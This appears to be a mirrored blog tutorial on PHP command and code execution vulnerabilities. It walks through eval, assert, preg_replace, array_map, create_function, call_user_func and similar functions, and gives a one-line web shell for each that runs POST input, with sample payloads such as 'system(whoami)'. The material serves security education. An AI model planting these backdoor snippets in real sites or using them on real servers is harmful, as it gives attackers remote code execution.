当前位置:网站首页>Web Security Foundation - Command Execution Vulnerability
Web Security Foundation - Command Execution Vulnerability
2022-07-28 03:49:00 【Kill the celery】
Catalog
Introduction to command execution vulnerability :
Introduction to command execution vulnerability :
reason :
User input is not checked and filtered , The parameters entered by the user are executed as commands by the application . Command Execution Vulnerability refers to the application sometimes needs to call some functions to execute system commands , Such as :system()、exec()、shell_exec()、eval()、passthru() Such as function , The code does not filter the user controllable parameters , When the user can control the parameters in these functions , You can splice malicious system commands into normal commands , This results in command execution attacks .
harm :
PHP Code execution functions
1.eval
In some Programming language in ,eval Is a function that executes a string as an expression and returns a result ; Among others , It executes multiple lines of code as if they were included , Not including
evalThis line .evalThe input of is not necessarily a string ; In languages that support syntactic abstraction ( Such as Lisp) in ,evalThe input of will consist of abstract syntactic forms .
Example
<?php @eval($_POST['cmd']);?>
eval() The parameter passed in by the function must be PHP Code , That is to say End of semicolon ;
disadvantages :eval Function can execute any php Code
2.assert
Assertion function , Used to catch program errors during debugging .
“ Assertion ” In Chinese, it means “ conclude ”、“ To be sure ”, In programming, it refers to the detection of certain hypothetical conditions , If the condition holds, no operation will be carried out , If the condition does not hold, catch this error , And print out the error message , Terminate program execution .If
assertionIs string , It will be assert() treat as PHP Code to execute .
Example :
<?php @assert($_POST['cmd'])?>
Unwanted It ends with a semicolon
3. preg_replace
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace — Perform a regular expression search and replace
<?php
preg_replace("/test/e",$_POST["cmd"],"just test");?>
4. array_map
array_map ( callable $callback , array $array1 [, array $... ]
)
Apply a function to each value in the array , Each value is multiplied by itself , And returns an array with new values
<?php$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;//array_map() Function to apply a user-defined function to each value in the array , And return to user-definedArray with new value after the action of semantic function .?>
5. create_function
create_function( character string
$args、 character string$code): character string
Dynamically create a function from the passed parameters , And return a unique name for it .
<?php$func = create_function('',$_POST['cmd']);$func();// Create anonymous function execution code?>
6. call_user_
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
call_user_func — Call the first parameter as a callback function
<?phpcall_user_func("assert",$_POST['cmd']);// The parameters passed in as assert The parameters of the function//cmd=system(whoami)?>
7. call_user_func_array
call_user_func_array(callable
$callback, array$args): mixed
Take the first parameter as a callback function (callback) call , Make the parameter array (args) Pass in... For the parameters of the callback function .
<?php$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);// Pass the passed in parameter to... As the first value of the array assert function//cmd=system(whoami)?>
8. array_filter
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
Use the callback function to filter the elements in the array
array_filter() Function to filter the values in an array with a callback function .
This function passes each key value in the input array to the callback function . If the callback function returns true, Return the current key value in the input array to the result array . Array key names remain the same .
<?php$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);// Use the callback function to filter the elements in the array :array_filter( Array , function )//?func=system//cmd=whoami?>
9. Double quotes
<?php// echo "phpinfo()";echo "{${phpinfo()}}";?>
边栏推荐
- Dynamic programming - 474. One and zero
- Notes on writing questions in sword finger offer
- Data mining-02
- [openvx] VX for basic use of objects_ image
- C语言:求一个整数存储在内存中的二进制中1的个数
- 动态规划——416. 分割等和子集
- An article grasps the calculation and processing of date data in PostgreSQL
- Greedy - 53. Maximum subarray sum
- pip-script. py‘ is not present Verifying transaction: failed
- 简单、好用的性能测试工具推荐
猜你喜欢

Monotonous stack -- 42. Receiving rain -- a difficult problem that big factories must know

C language: find the number of 1 in binary stored in memory as an integer

Interface automation test, complete introduction

测试用例管理工具
![[force deduction] 1337. Row K with the weakest combat effectiveness in the matrix](/img/6c/b5fd3350886fd74557439f5361e7f8.png)
[force deduction] 1337. Row K with the weakest combat effectiveness in the matrix

Summary of static blog building tools

Qt:qmessagebox message box, custom signal and slot

超好用的 PC 端长截图工具

2022 summary of the latest Android handler related interview questions

高等数学(第七版)同济大学 习题3-5 个人解答
随机推荐
动态规划——509. 斐波那契数
[错题]Mocha and Railgun
Input upload file and echo FileReader and restrict the type of file selection
Data mining-01
A 404 page source code imitating win10 blue screen
[prototype and prototype chain] get to know prototype and prototype chain~
SAP UI5 FileUploader 控件深入介绍 - 为什么需要一个隐藏的 iframe 试读版
What is tor? What is the use of tor browser update?
Weekly recommended short video: how to correctly understand the word "lean"?
高等数学(第七版)同济大学 习题3-5 个人解答
Collection | 0 basic open source data visualization platform flyfish large screen development guide
Light year admin background management system template
Day08 redis的基础知识
CH340 RTS DTR引脚编程驱动OLED
AI chief architect 12 AICA Baidu OCR vertical large-scale landing practice
Leetcode58. Length of the last word
动态规划——62. 不同路径
Advanced Mathematics (Seventh Edition) Tongji University exercises 3-4 personal solutions (first 8 questions)
Qt:qmessagebox message box, custom signal and slot
Xctf attack and defense world web master advanced area unserialize3